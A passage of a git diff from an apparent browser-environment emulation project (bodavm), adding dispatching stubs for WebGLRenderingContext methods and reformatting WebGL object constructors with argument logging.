+bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttrib", { + configurable: true, + enumerable: true, + writable: true, + value: function getVertexAttrib() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttrib", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttribOffset", { + configurable: true, + enumerable: true, + writable: true, + value: function getVertexAttribOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttribOffset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "hint", { + configurable: true, + enumerable: true, + writable: true, + value: function hint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "hint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isContextLost", { + configurable: true, + enumerable: true, + writable: true, + value: function isContextLost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isContextLost", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isEnabled", { + configurable: true, + enumerable: true, + writable: true, + value: function isEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isEnabled", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function isProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isShader", { + configurable: true, + enumerable: true, + writable: true, + value: function isShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function isTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "lineWidth", { + configurable: true, + enumerable: true, + writable: true, + value: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "lineWidth", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "linkProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function linkProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "linkProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "pixelStorei", { + configurable: true, + enumerable: true, + writable: true, + value: function pixelStorei() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "pixelStorei", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "polygonOffset", { + configurable: true, + enumerable: true, + writable: true, + value: function polygonOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "polygonOffset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "readPixels", { + configurable: true, + enumerable: true, + writable: true, + value: function readPixels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "readPixels", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "renderbufferStorage", { + configurable: true, + enumerable: true, + writable: true, + value: function renderbufferStorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "renderbufferStorage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "sampleCoverage", { + configurable: true, + enumerable: true, + writable: true, + value: function sampleCoverage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "sampleCoverage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "shaderSource", { + configurable: true, + enumerable: true, + writable: true, + value: function shaderSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "shaderSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFuncSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilFuncSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFuncSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMask", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMaskSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilMaskSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMaskSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOp", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilOp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOpSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilOpSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOpSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameterf", { + configurable: true, + enumerable: true, + writable: true, + value: function texParameterf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameterf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameteri", { + configurable: true, + enumerable: true, + writable: true, + value: function texParameteri() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameteri", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "useProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function useProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "useProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "validateProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function validateProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "validateProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function bindTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearColor", { + configurable: true, + enumerable: true, + writable: true, + value: function clearColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearColor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearDepth", { + configurable: true, + enumerable: true, + writable: true, + value: function clearDepth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearDepth", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearStencil", { + configurable: true, + enumerable: true, + writable: true, + value: function clearStencil() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearStencil", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "colorMask", { + configurable: true, + enumerable: true, + writable: true, + value: function colorMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "colorMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disableVertexAttribArray", { + configurable: true, + enumerable: true, + writable: true, + value: function disableVertexAttribArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disableVertexAttribArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawArrays", { + configurable: true, + enumerable: true, + writable: true, + value: function drawArrays() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawArrays", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawElements", { + configurable: true, + enumerable: true, + writable: true, + value: function drawElements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawElements", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enableVertexAttribArray", { + configurable: true, + enumerable: true, + writable: true, + value: function enableVertexAttribArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enableVertexAttribArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "scissor", { + configurable: true, + enumerable: true, + writable: true, + value: function scissor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "scissor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib1f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib1fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib2f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib3f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib4f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttribPointer", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribPointer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttribPointer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "viewport", { + configurable: true, + enumerable: true, + writable: true, + value: function viewport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "viewport", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "makeXRCompatible", { + configurable: true, + enumerable: true, + writable: true, + value: function makeXRCompatible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "makeXRCompatible", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLSampler.js b/env_xbb_lastest_jsdom/env/WebGLSampler.js index 8f97d7ce..62454667 100644 --- a/env_xbb_lastest_jsdom/env/WebGLSampler.js +++ b/env_xbb_lastest_jsdom/env/WebGLSampler.js @@ -1,3 +1,17 @@ -// WebGLSampler对象 -bodavm.memory.globalobj['WebGLSampler'] = function WebGLSampler(){if (!(this instanceof WebGLSampler)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLSampler'], "WebGLSampler"); +// WebGLSampler对象 + +bodavm.memory.globalobj['WebGLSampler'] = function WebGLSampler() { + console.log_copy('WebGLSampler 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLSampler)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLSampler'], "WebGLSampler"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLShader.js b/env_xbb_lastest_jsdom/env/WebGLShader.js index 283fe780..37e64073 100644 --- a/env_xbb_lastest_jsdom/env/WebGLShader.js +++ b/env_xbb_lastest_jsdom/env/WebGLShader.js @@ -1,3 +1,17 @@ -// WebGLShader对象 -bodavm.memory.globalobj['WebGLShader'] = function WebGLShader(){if (!(this instanceof WebGLShader)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShader'], "WebGLShader"); +// WebGLShader对象 + +bodavm.memory.globalobj['WebGLShader'] = function WebGLShader() { + console.log_copy('WebGLShader 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLShader)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShader'], "WebGLShader"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLShaderPrecisionFormat.js b/env_xbb_lastest_jsdom/env/WebGLShaderPrecisionFormat.js index b560592a..fcd5e1f3 100644 --- a/env_xbb_lastest_jsdom/env/WebGLShaderPrecisionFormat.js +++ b/env_xbb_lastest_jsdom/env/WebGLShaderPrecisionFormat.js @@ -1,6 +1,41 @@ -// WebGLShaderPrecisionFormat对象 -bodavm.memory.globalobj['WebGLShaderPrecisionFormat'] = function WebGLShaderPrecisionFormat(){if (!(this instanceof WebGLShaderPrecisionFormat)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShaderPrecisionFormat'], "WebGLShaderPrecisionFormat"); -bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMin", {configurable:true, enumerable:true, get:function rangeMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMax", {configurable:true, enumerable:true, get:function rangeMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMax_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "precision", {configurable:true, enumerable:true, get:function precision (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "precision_get", arguments)}, set:undefined},'prototype'); +// WebGLShaderPrecisionFormat对象 + +bodavm.memory.globalobj['WebGLShaderPrecisionFormat'] = function WebGLShaderPrecisionFormat() { + console.log_copy('WebGLShaderPrecisionFormat 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLShaderPrecisionFormat)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShaderPrecisionFormat'], "WebGLShaderPrecisionFormat"); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMin", { + configurable: true, + enumerable: true, + get: function rangeMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMax", { + configurable: true, + enumerable: true, + get: function rangeMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMax_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "precision", { + configurable: true, + enumerable: true, + get: function precision() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "precision_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLSync.js b/env_xbb_lastest_jsdom/env/WebGLSync.js index 8e78422b..1816fdfb 100644 --- a/env_xbb_lastest_jsdom/env/WebGLSync.js +++ b/env_xbb_lastest_jsdom/env/WebGLSync.js @@ -1,3 +1,17 @@ -// WebGLSync对象 -bodavm.memory.globalobj['WebGLSync'] = function WebGLSync(){if (!(this instanceof WebGLSync)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLSync'], "WebGLSync"); +// WebGLSync对象 + +bodavm.memory.globalobj['WebGLSync'] = function WebGLSync() { + console.log_copy('WebGLSync 